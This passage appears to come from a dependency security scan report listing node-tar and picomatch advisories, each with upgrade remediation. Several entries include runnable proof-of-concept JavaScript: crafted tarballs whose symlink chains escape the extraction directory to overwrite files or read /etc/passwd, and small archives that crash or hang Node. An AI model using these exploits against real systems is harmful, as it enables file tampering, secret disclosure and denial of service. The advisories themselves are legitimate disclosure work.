  await tar.x({ file: tf, cwd });                                  // DEFAULT options
  console.log('realpath:', fs.realpathSync(path.join(cwd, 'escape')));
  console.log('read    :', fs.readFileSync(path.join(cwd, 'escape'), 'utf8'));
});

Expected output: cwd/escape resolves to /SENTINEL.txt (the PARENT of the extraction directory) and reads "OUT-OF-TREE".

To show arbitrary read of a real file: use a padding segment of ~50 backslashes plus the matching number of ".." and then "/etc/passwd" as the linkname (and a directory entry named the same padding segment). The resulting symlink resolves to /etc/passwd (verified: first line "root:x:0:0:root:/root:/bin/bash").

Note: The PoC targets a non-Windows host (Linux/macOS) using tar@7.5.22 and tar-stream with default extraction options.

Remediation

Upgrade tar to version 8.0.0 or higher.

References

high severity
new

Symlink Attack

  • Vulnerable module: tar
  • Introduced through: @yarnpkg/pnpify@4.1.3

Detailed paths

  • Introduced through: @uiengine/monorepo@dennisreimann/uiengine › @yarnpkg/pnpify@4.1.3 › @yarnpkg/core@4.9.3 › tar@7.5.24
  • Introduced through: @uiengine/monorepo@dennisreimann/uiengine › @yarnpkg/pnpify@4.1.3 › @yarnpkg/nm@4.1.2 › @yarnpkg/core@4.9.3 › tar@7.5.24

Overview

tar is a full-featured Tar for Node.js.

Affected versions of this package are vulnerable to Symlink Attack via the [STRIPABSOLUTEPATH] and [SYMLINK] handlers in src/unpack.ts, which perform only a lexical check on symlink linkpaths during extraction. An attacker can craft a tarball containing a symlink (e.g., l1 -> .) followed by a second symlink whose linkpath traverses through the first (e.g., esc -> l1/../outside.txt). Because path.posix.normalize collapses the l1/.. pair textually before any filesystem lstat is performed, the escape check passes, but the kernel resolves l1/.. through the symlink target, placing the resulting symlink outside the extraction directory. Any subsequent read or write through the extracted tree then reaches arbitrary files or directories above the extraction root with the privileges of the extracting user.

PoC

  1. Build an archive (any tool; e.g. node-tar's own Header):
    const fs = require('fs'), tar = require('tar')
    const hdr = (p, l) => { const b = Buffer.alloc(512); new tar.Header({ path: p, type: 'SymbolicLink', linkpath: l }).encode(b, 0); return b }
    fs.writeFileSync('evil.tar', Buffer.concat([hdr('l1', '.'), hdr('esc', 'l1/../outside.txt'), hdr('escdir', 'l1/..'), Buffer.alloc(1024)]))
    fs.writeFileSync('control.tar', Buffer.concat([hdr('esc', '../outside.txt'), Buffer.alloc(1024)]))
    
  2. Extract with default options and then use the extracted tree (same usage model as the GHSA-9ppj PoC):
    fs.mkdirSync('root/extract', { recursive: true })
    fs.writeFileSync('root/outside.txt', 'ORIGINAL\n'); fs.writeFileSync('root/secret.txt', 'DUMMY-SECRET\n')
    await tar.x({ cwd: 'root/extract', file: 'evil.tar' })          // same with sync: true
    fs.writeFileSync('root/extract/esc', 'PWNED\n')
    console.log(fs.readFileSync('root/outside.txt', 'utf8'))              // PWNED
    console.log(fs.readFileSync('root/extract/escdir/secret.txt', 'utf8')) // DUMMY-SECRET
    

Observed on 7.5.23 (repeated runs, async and sync): control.tar is rejected with "linkpath escapes extraction directory" and outside.txt stays ORIGINAL. evil.tar yields warnings=[], realpath(esc) = root/outside.txt, realpath(escdir) = root; outside.txt is overwritten and the outside secret is read. The deeper variant above overwrote a file three directories above cwd.

Remediation

Upgrade tar to version 8.0.0 or higher.

References

high severity
new

Symlink Attack

  • Vulnerable module: tar
  • Introduced through: @yarnpkg/pnpify@4.1.3

Detailed paths

  • Introduced through: @uiengine/monorepo@dennisreimann/uiengine › @yarnpkg/pnpify@4.1.3 › @yarnpkg/core@4.9.3 › tar@7.5.24
  • Introduced through: @uiengine/monorepo@dennisreimann/uiengine › @yarnpkg/pnpify@4.1.3 › @yarnpkg/nm@4.1.2 › @yarnpkg/core@4.9.3 › tar@7.5.24

Overview

tar is a full-featured Tar for Node.js.

Affected versions of this package are vulnerable to Symlink Attack via a nested symlink chain during archive extraction in src/unpack.ts. A crafted archive first creates an in-root symlink (e.g. a/b -> ../x), then creates a second symlink whose linkpath traverses the first symlink followed by a parent component (e.g. a/c -> b/../..). The STRIPABSOLUTEPATH containment check evaluates the target lexically using path.posix.normalize, which collapses the b/.. pair before checking, while the OS filesystem follows the first symlink before applying the parent traversal. The resulting extracted link remains inside the extraction tree but resolves to a path outside it, allowing a later consumer that follows the planted link to access files outside the intended extraction root.

Remediation

Upgrade tar to version 8.0.0 or higher.

References

high severity
new

Symlink Attack

  • Vulnerable module: tar
  • Introduced through: @yarnpkg/pnpify@4.1.3

Detailed paths

  • Introduced through: @uiengine/monorepo@dennisreimann/uiengine › @yarnpkg/pnpify@4.1.3 › @yarnpkg/core@4.9.3 › tar@7.5.24
  • Introduced through: @uiengine/monorepo@dennisreimann/uiengine › @yarnpkg/pnpify@4.1.3 › @yarnpkg/nm@4.1.2 › @yarnpkg/core@4.9.3 › tar@7.5.24

Overview

tar is a full-featured Tar for Node.js.

Affected versions of this package are vulnerable to Symlink Attack via an in-archive symlink chain in tar.x(), where a directory entry paired with an intermediate symlink pointing to .. causes the linkpath validation in src/unpack.ts to check a lexically normalized path that appears safe while the kernel resolves the raw linkpath outside the extraction directory. The STRIPABSOLUTEPATH check normalizes x/y/../secret.txt to x/secret.txt (in-bounds), and ENSURE_NO_SYMLINK resolves the path lexically, so neither check detects that x/y is itself a symlink to ... The link is then created with the raw linkpath, and the kernel follows x/y to the parent of the extraction directory before applying .., placing the final symlink outside the extraction root. An attacker supplying a tarball can thereby achieve arbitrary file read and write as the extracting user through symlinks left inside the extraction directory.

PoC

Save as poc.cjs next to a node_modules/tar install and run node poc.cjs ./node_modules/tar ./work. It builds the archive with tar's own Header, extracts it with default options (async and sync), and then does what an application normally does next: writes to a file by its name in the archive.

const fs = require('fs')
const path = require('path')
const tar = require(path.resolve(process.argv[2]))
const work = path.resolve(process.argv[3])
fs.rmSync(work, { recursive: true, force: true })
const cwd = path.join(work, 'extract')
fs.mkdirSync(cwd, { recursive: true })
const secret = path.join(work, 'secret.txt')          // outside the extraction dir
fs.writeFileSync(secret, 'ORIGINAL\n')

const entries = [
  { path: 'x/', type: 'Directory' },
  { path: 'x/y', type: 'SymbolicLink', linkpath: '..' },
  { path: 'l', type: 'SymbolicLink', linkpath: 'x/y/../secret.txt' },
  { path: 'deep', type: 'SymbolicLink',
    linkpath: 'x/y/'.repeat(8) + '../'.repeat(16) + 'etc/hostname' },
]
const blocks = []
for (const e of entries) {
  const b = Buffer.alloc(512)
  new tar.Header({ ...e, mode: 0o755, size: 0, mtime: new Date(0) }).encode(b, 0)
  blocks.push(b)
}
blocks.push(Buffer.alloc(1024))
const tarFile = path.join(work, 'poc.tar')
fs.writeFileSync(tarFile, Buffer.concat(blocks))

const run = async (sync) => {
  fs.rmSync(cwd, { recursive: true, force: true }); fs.mkdirSync(cwd)
  fs.writeFileSync(secret, 'ORIGINAL\n')
  const warns = []
  const opts = { cwd, file: tarFile, onwarn: (c, m) => warns.push(c + ' ' + m) }
  if (sync) tar.x({ ...opts, sync: true }); else await tar.x(opts)
  console.log(`--- tar.x({cwd, file${sync ? ', sync:true' : ''}})`)
  console.log('warnings:', warns.length ? warns : 'none')
  console.log('readlink l      ->', fs.readlinkSync(path.join(cwd, 'l')))
  console.log('realpath l      ->', fs.realpathSync.native(path.join(cwd, 'l')))
  console.log('realpath deep   ->', fs.realpathSync.native(path.join(cwd, 'deep')))
  fs.writeFileSync(path.join(cwd, 'l'), 'PWNED\n')
  console.log('secret.txt now  ->', JSON.stringify(fs.readFileSync(secret, 'utf8')))
}
run(false).then(() => run(true))


Output on tar 7.5.23, Node 22.23.4, Linux:

--- tar.x({cwd, file})
warnings: none
readlink l      -> x/y/../secret.txt
realpath l      -> <workdir>/secret.txt
realpath deep   -> /etc/hostname
secret.txt now  -> "PWNED\n"
--- tar.x({cwd, file, sync:true})
warnings: none
readlink l      -> x/y/../secret.txt
realpath l      -> <workdir>/secret.txt
realpath deep   -> /etc/hostname
secret.txt now  -> "PWNED\n"

Same result on 7.5.5, 7.5.11 and on main (eb92e17), and with open PR #470 applied. 7.5.4 rejects all three links (TAR_ENTRY_ERROR linkpath contains '..').

Note: The PoC states it runs on tar 7.5.23 with Node 22.23.4 on Linux.

Remediation

Upgrade tar to version 8.0.0 or higher.

References

high severity
new

Allocation of Resources Without Limits or Throttling

  • Vulnerable module: tar
  • Introduced through: @yarnpkg/pnpify@4.1.3

Detailed paths

  • Introduced through: @uiengine/monorepo@dennisreimann/uiengine › @yarnpkg/pnpify@4.1.3 › @yarnpkg/core@4.9.3 › tar@7.5.24
  • Introduced through: @uiengine/monorepo@dennisreimann/uiengine › @yarnpkg/pnpify@4.1.3 › @yarnpkg/nm@4.1.2 › @yarnpkg/core@4.9.3 › tar@7.5.24

Overview

tar is a full-featured Tar for Node.js.

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the path-reservation bookkeeping code (src/path-reservations.ts and src/unpack.ts). The getDirs function computes every ancestor prefix of each reserved path, and its cost is quadratic in the length of linkpath, which has no depth or length bound and is reserved for every entry type. An attacker can supply an archive of a few hundred bytes compressed to exhaust CPU and crash the Node process (VULN-002), or use very long path components within the maxDepth limit to exhaust memory (VULN-023). Additionally, PathReservations.#reservations entries are never released during extraction, the normalizeUnicode cache is bounded by entry count rather than bytes, and filesFilter memoises every path prefix, all of which cause unbounded memory growth during large or long-running extractions.

PoC

`exploit_tests/test_vuln_002_*`, `_023_`, `_009_`, `_012_` and `_024_`. Each test runs a control archive and an attack archive against the unmodified 7.5.22 build, with output recorded in `exploit_tests/evidence/`. All were run on macOS.

Note: Tests were run on macOS against the unmodified 7.5.22 build.

Remediation

Upgrade tar to version 8.0.2 or higher.

References

high severity
new

Allocation of Resources Without Limits or Throttling

  • Vulnerable module: tar
  • Introduced through: @yarnpkg/pnpify@4.1.3

Detailed paths

  • Introduced through: @uiengine/monorepo@dennisreimann/uiengine › @yarnpkg/pnpify@4.1.3 › @yarnpkg/core@4.9.3 › tar@7.5.24
  • Introduced through: @uiengine/monorepo@dennisreimann/uiengine › @yarnpkg/pnpify@4.1.3 › @yarnpkg/nm@4.1.2 › @yarnpkg/core@4.9.3 › tar@7.5.24

Overview

tar is a full-featured Tar for Node.js.

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling via the PathReservations.getDirs helper in src/path-reservations.ts, which rebuilds a growing path prefix once per segment at O(N^2) time and memory cost. When the asynchronous Unpack extractor processes a symlink or hardlink entry, it pushes entry.linkpath into reserve(), which maps it through getDirs with no depth bound - the existing maxDepth guard is applied only to entry.path, never to entry.linkpath. An attacker who supplies an archive containing a single symlink entry with a deeply nested relative linkpath (e.g. a/a/.../a) causes the quadratic heap growth to exhaust the V8 heap and abort the Node.js process with an uncatchable fatal out-of-memory error (exit code 134).

Note: This is only exploitable on non-Windows hosts using the default asynchronous extraction API (tar.extract / Unpack); synchronous extraction (sync: true) and the Windows reservation path are not affected.

Remediation

Upgrade tar to version 8.0.0 or higher.

References

high severity
new

Allocation of Resources Without Limits or Throttling

  • Vulnerable module: tar
  • Introduced through: @yarnpkg/pnpify@4.1.3

Detailed paths

  • Introduced through: @uiengine/monorepo@dennisreimann/uiengine › @yarnpkg/pnpify@4.1.3 › @yarnpkg/core@4.9.3 › tar@7.5.24
  • Introduced through: @uiengine/monorepo@dennisreimann/uiengine › @yarnpkg/pnpify@4.1.3 › @yarnpkg/nm@4.1.2 › @yarnpkg/core@4.9.3 › tar@7.5.24

Overview

tar is a full-featured Tar for Node.js.

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling via PathReservations.getDirs() in src/path-reservations.ts, which materializes every parent-directory prefix of a given path as individual strings, an O(N²) operation. The existing maxDepth guard applies only to entry.path and not to entry.linkpath, so an archive with a shallow entry.path and a deeply nested entry.linkpath bypasses the guard entirely. Processing such an archive forces a catastrophic heap allocation that exhausts the V8 heap, aborting the process with a fatal out-of-memory error that no JavaScript error handler can intercept.

Remediation

Upgrade tar to version 8.0.0 or higher.

References

high severity
new

Allocation of Resources Without Limits or Throttling

  • Vulnerable module: tar
  • Introduced through: @yarnpkg/pnpify@4.1.3

Detailed paths

  • Introduced through: @uiengine/monorepo@dennisreimann/uiengine › @yarnpkg/pnpify@4.1.3 › @yarnpkg/core@4.9.3 › tar@7.5.24
  • Introduced through: @uiengine/monorepo@dennisreimann/uiengine › @yarnpkg/pnpify@4.1.3 › @yarnpkg/nm@4.1.2 › @yarnpkg/core@4.9.3 › tar@7.5.24

Overview

tar is a full-featured Tar for Node.js.

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling via the CHECKDECOMPRESSIONRATIO guard in src/parse.ts, which evaluates the decompression ratio only after node zlib has already materialized the full inflated output in memory. Because compressed bytes are credited per write() call rather than per codec output chunk, a single large write front-loads the entire inputSize × 1000 budget before the ratio is checked even once, allowing the inflated data to reside in memory unconstrained. An attacker can supply a 65,608-byte zstd archive that expands to 2 GiB, causing an OOM kill at default settings with no option overrides required. A second path exists where data written after the tar end-of-archive marker is buffered indefinitely because SAW_EOF stops the parse loop from draining but does not prevent BUFFERCONCAT from appending, giving a piping producer no back-pressure signal.

Remediation

Upgrade tar to version 8.0.0 or higher.

References

high severity
new

Improper Locking

  • Vulnerable module: tar
  • Introduced through: @yarnpkg/pnpify@4.1.3

Detailed paths

  • Introduced through: @uiengine/monorepo@dennisreimann/uiengine › @yarnpkg/pnpify@4.1.3 › @yarnpkg/core@4.9.3 › tar@7.5.24
  • Introduced through: @uiengine/monorepo@dennisreimann/uiengine › @yarnpkg/pnpify@4.1.3 › @yarnpkg/nm@4.1.2 › @yarnpkg/core@4.9.3 › tar@7.5.24

Overview

tar is a full-featured Tar for Node.js.

Affected versions of this package are vulnerable to Improper Locking via the PathReservations path-reservation queue in src/path-reservations.ts during asynchronous archive extraction on POSIX systems. When a Link or SymbolicLink entry has a linkpath that is an ancestor or descendant directory of the entry's own path, the reserve() call writes the same queue key twice - once as a function head and once as a directory Set - causing check() to permanently return false. The promise returned by tar.x() / tar.extract() never resolves or rejects, the stream never emits end, finish, or close, and every entry after the poison entry is silently skipped, resulting in a permanent hang.

Note: This is only exploitable when using asynchronous extraction on POSIX systems; synchronous extraction and extraction on Windows are unaffected.

PoC

Validated on president-xd/node-tar main @ 2a22bfc (version 7.5.22) and against the published npm package tar@7.5.22, on Linux, Node v24.19.0.

// npm i tar@7.5.22 ; node poc.cjs
const { Header, x } = require('tar')
const fs = require('fs')
const dir = '/tmp/resv-hang'; fs.rmSync(dir, {recursive:true, force:true}); fs.mkdirSync(dir, {recursive:true})
const b = Buffer.alloc(512)
new Header({ path: 'a/b', type: 'Link', linkpath: 'a', size: 0, mode: 0o644 }).encode(b, 0) // linkpath 'a' is ancestor of 'a/b'
fs.writeFileSync(dir + '/poison.tar', Buffer.concat([b, Buffer.alloc(1024)]))
let settled = 'NEVER'
x({ cwd: dir, file: dir + '/poison.tar' }).then(() => settled='RESOLVED').catch(() => settled='REJECTED')
const keepalive = setInterval(() => {}, 100) // hold the loop open so an unsettled promise is a true hang
setTimeout(() => { clearInterval(keepalive); console.log('result:', settled); process.exit(0) }, 4000)

Observed output:

result: NEVER      // no warning, no resolution, no rejection

Control archive with linkpath: 'c' (a sibling, not a hierarchical relative) resolves in the same harness with a single TAR_ENTRY_ERROR warning. The PAX-linkpath route (14 linkpath=a\n before a File at a/b) and the GNU K route both hang identically; their sibling controls both resolve.

Note: Validated on tar@7.5.22 on Linux with Node v24.19.0.

Remediation

Upgrade tar to version 8.0.0 or higher.

References

high severity
new

Improper Neutralization of Null Byte or NUL Character

  • Vulnerable module: tar
  • Introduced through: @yarnpkg/pnpify@4.1.3

Detailed paths

  • Introduced through: @uiengine/monorepo@dennisreimann/uiengine › @yarnpkg/pnpify@4.1.3 › @yarnpkg/core@4.9.3 › tar@7.5.24
  • Introduced through: @uiengine/monorepo@dennisreimann/uiengine › @yarnpkg/pnpify@4.1.3 › @yarnpkg/nm@4.1.2 › @yarnpkg/core@4.9.3 › tar@7.5.24

Overview

tar is a full-featured Tar for Node.js.

Affected versions of this package are vulnerable to Improper Neutralization of Null Byte or NUL Character via incomplete NUL-byte truncation in src/header.ts, src/parse.ts, and src/pax.ts when parsing ustar names, GNU long-name/long-link data, and PAX values. The regex .replace(/\0.*/, '') lacks the s flag, so . does not match \n, \r, U+2028, or U+2029. When one of these line terminators follows a NUL byte in an entry name, only the portion up to the line terminator is removed and the NUL remains in the name. During async extraction, the NUL-containing name is passed to fs, which throws an uncaught exception and crashes the process. With the strip option enabled, the surviving characters also cause node-tar's view of the name to differ from other tar implementations.

PoC

`exploit_tests/test_vuln_006_*` and `_021_`. Each runs a control and an attack against the unmodified 7.5.22 build, with output recorded in `exploit_tests/evidence/`. All were run on macOS.

Note: Tests were run against the unmodified 7.5.22 build on macOS.

Remediation

Upgrade tar to version 8.0.0 or higher.

References

high severity
new

Improper Neutralization of Null Byte or NUL Character

  • Vulnerable module: tar
  • Introduced through: @yarnpkg/pnpify@4.1.3

Detailed paths

  • Introduced through: @uiengine/monorepo@dennisreimann/uiengine › @yarnpkg/pnpify@4.1.3 › @yarnpkg/core@4.9.3 › tar@7.5.24
  • Introduced through: @uiengine/monorepo@dennisreimann/uiengine › @yarnpkg/pnpify@4.1.3 › @yarnpkg/nm@4.1.2 › @yarnpkg/core@4.9.3 › tar@7.5.24

Overview

tar is a full-featured Tar for Node.js.

Affected versions of this package are vulnerable to Improper Neutralization of Null Byte or NUL Character via incomplete NUL-byte sanitization in src/pax.ts, src/parse.ts, and src/header.ts during asynchronous extraction. The sanitization regex /\0.*/ uses a bare dot that does not match line terminators (\n, \r), so a NUL byte appearing after a line terminator in an archive-controlled path or linkpath string survives the replacement. The surviving NUL is passed to Node.js filesystem APIs (e.g., fs.lstat) inside an async continuation where no node-tar code catches the resulting TypeError [ERR_INVALID_ARG_VALUE], causing an uncaught exception that terminates the extracting process. An attacker who can supply an archive to any process that extracts it with the default asynchronous tar.x / tar.extract API can crash that process with a single small archive, bypassing even correctly structured try/await/catch consumer error handling because the throw occurs outside the returned promise and outside the stream error event.

Note: This is only exploitable via the asynchronous extraction API (tar.x / tar.extract); synchronous extraction (UnpackSync) and listing (tar.t) are not affected.

PoC

node-tar-nul-termination-bypass-PoC.zip

See the attached PoC zip. Summary:

./deployment/deploy.sh     # stages a sandbox with pinned tar@7.5.22
./poc/poc.sh               # builds six archives and runs the assertions

poc.sh prints one PASS line per assertion and ends with RESULT: 8 passed, 0 failed on the affected version. It includes a benign control, the original advisory payload (clean since 7.5.17), the CR bypass variant, two raw-header variants (CR and LF), a GNU L variant, and negative controls proving that sync extraction and listing do not crash. Full executed output is in the zip's README.md.

A minimal single-archive reproduction: build a tar whose first entry is an x extended header containing the record 15 path=p\0q\r\0r (valid length prefix), followed by a normal file header, then run tar.extract({ cwd }) asynchronously. On tar@7.5.22 the process dies with ERR_INVALID_ARG_VALUE naming the path <cwd>/p\r\x00r.

Note: The PoC targets tar@7.5.22 and is run in a sandbox staged by a deployment script included in the attached zip.

Remediation

Upgrade tar to version 8.0.0 or higher.

References

high severity
new

Improper Update of Reference Count

  • Vulnerable module: tar
  • Introduced through: @yarnpkg/pnpify@4.1.3

Detailed paths

  • Introduced through: @uiengine/monorepo@dennisreimann/uiengine › @yarnpkg/pnpify@4.1.3 › @yarnpkg/core@4.9.3 › tar@7.5.24
  • Introduced through: @uiengine/monorepo@dennisreimann/uiengine › @yarnpkg/pnpify@4.1.3 › @yarnpkg/nm@4.1.2 › @yarnpkg/core@4.9.3 › tar@7.5.24

Overview

tar is a full-featured Tar for Node.js.

Affected versions of this package are vulnerable to Improper Update of Reference Count via a PEND/UNPEND counter imbalance in UnpackSync. The UnpackSync[CHECKFS] method never calls [PEND](), yet UnpackSync inherits the async [ONERROR] handler that unconditionally calls [UNPEND]() on any non-CwdError entry failure, driving the PENDING counter to -1. Because [MAYBECLOSE] emits completion only when PENDING === 0, the negative counter permanently suppresses the end, finish, and close events, causing the stream to hang indefinitely. A single failing archive entry - such as a hardlink whose target does not exist - is sufficient to wedge any consumer that awaits stream completion.

Note: This is only exploitable when using tar.x({ sync: true }) without the file option, or a directly-constructed UnpackSync stream, while awaiting end/finish/close; the default asynchronous API and the file-based synchronous API (x({ sync: true, file })) are unaffected.

PoC

Validated on source main @ 2a22bfc and against the published npm package tar@7.5.22, Node v24.19.0.

// npm i tar@7.5.22 ; node poc.cjs
const { Header, x } = require('tar'); const fs = require('fs')
const dir = '/tmp/sync-hang'; fs.rmSync(dir,{recursive:true,force:true}); fs.mkdirSync(dir,{recursive:true})
const b = Buffer.alloc(512)
new Header({ path:'ln', type:'Link', linkpath:'nonexistent', size:0, mode:0o644 }).encode(b,0)
const u = x({ sync: true, cwd: dir })          // the UnpackSync stream
let ended = false; const warns = []
u.on('end', ()=>ended=true); u.on('finish', ()=>ended=true); u.on('warn', c=>warns.push(c))
u.end(Buffer.concat([b, Buffer.alloc(1024)]))
setTimeout(()=>{ console.log(ended ? 'ENDED' : '*** HANG: end/finish never emitted', 'warnings=', warns); process.exit(0) }, 1500)

Observed:

*** HANG: end/finish never emitted   warnings= [ 'TAR_ENTRY_ERROR' ]

Controls in the same harness: the identical archive through the async file API (x({ cwd, file })) resolves with a single TAR_ENTRY_ERROR; an all-success archive through the sync-stream API ends normally and extracts its file. Disk state is fail-closed (the failing entry is simply not created).

Note: Validated against the published npm package tar@7.5.22 on Node v24.19.0.

Remediation

Upgrade tar to version 8.0.0 or higher.

References

high severity
new

Inefficient Algorithmic Complexity

  • Vulnerable module: tar
  • Introduced through: @yarnpkg/pnpify@4.1.3

Detailed paths

  • Introduced through: @uiengine/monorepo@dennisreimann/uiengine › @yarnpkg/pnpify@4.1.3 › @yarnpkg/core@4.9.3 › tar@7.5.24
  • Introduced through: @uiengine/monorepo@dennisreimann/uiengine › @yarnpkg/pnpify@4.1.3 › @yarnpkg/nm@4.1.2 › @yarnpkg/core@4.9.3 › tar@7.5.24

Overview

tar is a full-featured Tar for Node.js.

Affected versions of this package are vulnerable to Inefficient Algorithmic Complexity via PathReservations.getDirs() in the asynchronous extraction path (tar.x, tar.extract, new Unpack()), where a deeply nested entry.linkpath delivered via a GNU 'K' long-linkpath meta entry causes O(n^2) CPU work and unbounded transient heap allocation. The existing maxDepth guard introduced by the CVE-2024-28863 fix applies only to entry.path, leaving entry.linkpath uncapped, so an attacker supplies an archive whose linkpath contains hundreds of thousands of single-character path components. The quadratic allocation exhausts the Node.js heap, freezes the event loop, and terminates the process with an uncatchable FATAL ERROR: heap out of memory (exit 134 / SIGABRT) that neither try/catch nor process.on('uncaughtException') can intercept.

Note: This is only exploitable on POSIX hosts; the reserve() path is a no-op on Windows.

Remediation

Upgrade tar to version 8.0.0 or higher.

References

high severity
new

Uncaught Exception

  • Vulnerable module: tar
  • Introduced through: @yarnpkg/pnpify@4.1.3

Detailed paths

  • Introduced through: @uiengine/monorepo@dennisreimann/uiengine › @yarnpkg/pnpify@4.1.3 › @yarnpkg/core@4.9.3 › tar@7.5.24
  • Introduced through: @uiengine/monorepo@dennisreimann/uiengine › @yarnpkg/pnpify@4.1.3 › @yarnpkg/nm@4.1.2 › @yarnpkg/core@4.9.3 › tar@7.5.24

Overview

tar is a full-featured Tar for Node.js.

Affected versions of this package are vulnerable to Uncaught Exception via Parser.write() in src/parse.ts, which sniffs the first bytes of every input and, on detecting the zstd magic bytes (28 b5 2f fd), constructs new ZstdDecompress({}) with no error handling. On Node runtimes without native zstd support, minizlib's constructor throws a TypeError synchronously inside the file-read stream's data callback. Because the throw is not routed through the stream's error event or Parser.abort(), the async tar.t() / tar.x() promise never settles and the exception escapes as an uncaught exception, killing the process. An attacker can crash any process that lists or extracts an attacker-supplied archive through the async file API by supplying a four-byte file containing only the zstd magic header.

Note: This is only exploitable on Node runtimes without native zstd support (Node 18.x, 20.x, 21.x, 22.0-22.14, and 23.0-23.7); Node 22.15+, 23.8+, and 24+ are not affected.

PoC

Validated on the published npm package tar@7.5.22 (and source main @ 2a22bfc). Vulnerable runtime: Node v20.20.2 (node -e "console.log(typeof require('zlib').ZstdDecompress)" prints undefined). Non-vulnerable control: Node v24.19.0.

// npm i tar@7.5.22 ; node poc.cjs   (run on Node 20)
const { x } = require('tar'); const fs = require('fs')
fs.writeFileSync('/tmp/z4.tar', Buffer.from([0x28,0xb5,0x2f,0xfd,0x01,0x02,0x03,0x04]))
fs.rmSync('/tmp/z-out',{recursive:true,force:true}); fs.mkdirSync('/tmp/z-out')
let uncaught = null, settled = 'NEVER'
process.on('uncaughtException', e => uncaught = e.constructor.name + ': ' + e.message)
x({ cwd:'/tmp/z-out', file:'/tmp/z4.tar' }).then(()=>settled='RESOLVED').catch(()=>settled='REJECTED')
const ka = setInterval(()=>{},100)
setTimeout(()=>{ clearInterval(ka); console.log('uncaught:', uncaught); console.log('settled:', settled); process.exit(0) }, 3000)

Observed on Node v20.20.2 (zstd undefined):

uncaught: TypeError: Compression method not supported: ZstdDecompress
settled:  NEVER

Without the uncaughtException handler the process dies with the raw stack (frame: at new ZstdDecompress ... at Unpack.write ... at FSReqCallback.wrapper [as oncomplete] (node:fs)). On Node v24.19.0 the same file produces a clean catchable rejection (TAR_ABORT / zlib: Dictionary mismatch) and no crash. Synchronous mode and direct stream writes throw catchably from the caller's stack on all runtimes; only the async file API turns the throw into process death.

Note: Validated on the published npm package tar@7.5.22 running on Node v20.20.2, with Node v24.19.0 as the non-vulnerable control.

Remediation

Upgrade tar to version 8.0.0 or higher.

References

medium severity
new

Incorrect Regular Expression

  • Vulnerable module: picomatch
  • Introduced through: @yarnpkg/pnpify@4.1.3

Detailed paths

  • Introduced through: @uiengine/monorepo@dennisreimann/uiengine › @yarnpkg/pnpify@4.1.3 › @yarnpkg/core@4.9.3 › micromatch@4.0.8 › picomatch@2.3.2
  • Introduced through: @uiengine/monorepo@dennisreimann/uiengine › @yarnpkg/pnpify@4.1.3 › @yarnpkg/core@4.9.3 › fast-glob@3.3.3 › micromatch@4.0.8 › picomatch@2.3.2
  • Introduced through: @uiengine/monorepo@dennisreimann/uiengine › @yarnpkg/pnpify@4.1.3 › @yarnpkg/core@4.9.3 › @yarnpkg/shell@4.1.4 › micromatch@4.0.8 › picomatch@2.3.2
  • Introduced through: @uiengine/monorepo@dennisreimann/uiengine › @yarnpkg/pnpify@4.1.3 › @yarnpkg/nm@4.1.2 › @yarnpkg/core@4.9.3 › micromatch@4.0.8 › picomatch@2.3.2
  • Introduced through: @uiengine/monorepo@dennisreimann/uiengine › @yarnpkg/pnpify@4.1.3 › @yarnpkg/core@4.9.3 › @yarnpkg/shell@4.1.4 › fast-glob@3.3.3 › micromatch@4.0.8 › picomatch@2.3.2
  • Introduced through: @uiengine/monorepo@dennisreimann/uiengine › @yarnpkg/pnpify@4.1.3 › @yarnpkg/nm@4.1.2 › @yarnpkg/core@4.9.3 › fast-glob@3.3.3 › micromatch@4.0.8 › picomatch@2.3.2
  • Introduced through: @uiengine/monorepo@dennisreimann/uiengine › @yarnpkg/pnpify@4.1.3 › @yarnpkg/nm@4.1.2 › @yarnpkg/core@4.9.3 › @yarnpkg/shell@4.1.4 › micromatch@4.0.8 › picomatch@2.3.2
  • Introduced through: @uiengine/monorepo@dennisreimann/uiengine › @yarnpkg/pnpify@4.1.3 › @yarnpkg/nm@4.1.2 › @yarnpkg/core@4.9.3 › @yarnpkg/shell@4.1.4 › fast-glob@3.3.3 › micromatch@4.0.8 › picomatch@2.3.2

Overview

Affected versions of this package are vulnerable to Incorrect Regular Expression via the globstar function in lib/parse.js, where globstar (**) patterns are compiled without the dotAll flag, causing the generated regular expression to use . which does not match line terminator characters. An attacker who controls file names, object keys, or archive entry names can embed newline characters in those names to evade **-based deny patterns, causing excluded resources to be included and exposed.

Remediation

A fix was pushed into the master branch but not yet published.

References

medium severity
new

Interpretation Conflict

  • Vulnerable module: tar
  • Introduced through: @yarnpkg/pnpify@4.1.3

Detailed paths

  • Introduced through: @uiengine/monorepo@dennisreimann/uiengine › @yarnpkg/pnpify@4.1.3 › @yarnpkg/core@4.9.3 › tar@7.5.24
  • Introduced through: @uiengine/monorepo@dennisreimann/uiengine › @yarnpkg/pnpify@4.1.3 › @yarnpkg/nm@4.1.2 › @yarnpkg/core@4.9.3 › tar@7.5.24

Overview

tar is a full-featured Tar for Node.js.

Affected versions of this package are vulnerable to Interpretation Conflict via ReadEntry.#slurp() in src/read-entry.ts, which copies pending PAX fields onto an entry without checking the entry type. When a tar archive contains consecutive PAX headers, the first PAX header sets a size=0 field that ReadEntry.#slurp() reapplies to the second PAX entry, producing an inconsistent state where entry.meta is true but entry.size is 0. The Parser then uses the overwritten size value to select its state machine branch, causing the next 512-byte block - which is the second PAX entry's metadata body - to be processed as a real tar header instead of being consumed as metadata. Both tar.list() and tar.extract() expose the smuggled entry, and extraction can create or truncate an existing file inside the configured extraction directory, bypassing archive member allowlists or policy checks applied by other tar implementations.

PoC

Create package.json:

{
  "private": true,
  "type": "module",
  "dependencies": {
    "tar": "7.5.22"
  }
}

Create poc.mjs:

import fs from 'node:fs'
import os from 'node:os'
import path from 'node:path'
import { Header, extract, list } from 'tar'

const header = data => {
  const block = Buffer.alloc(512)
  new Header(data).encode(block)
  return block
}

const paxRecord = (key, value) => {
  const payload = ` ${key}=${value}\n`
  let length = Buffer.byteLength(payload) + 1
  while (Buffer.byteLength(String(length)) + Buffer.byteLength(payload) !== length) {
    length = Buffer.byteLength(String(length)) + Buffer.byteLength(payload)
  }
  return Buffer.from(`${length}${payload}`)
}

const firstBody = paxRecord('size', '0')
const firstPadding = Buffer.alloc(512)
firstBody.copy(firstPadding)

const archive = Buffer.concat([
  header({ path: 'pax-1', type: 'ExtendedHeader', size: firstBody.length }),
  firstPadding,
  header({ path: 'pax-2', type: 'ExtendedHeader', size: 512 }),
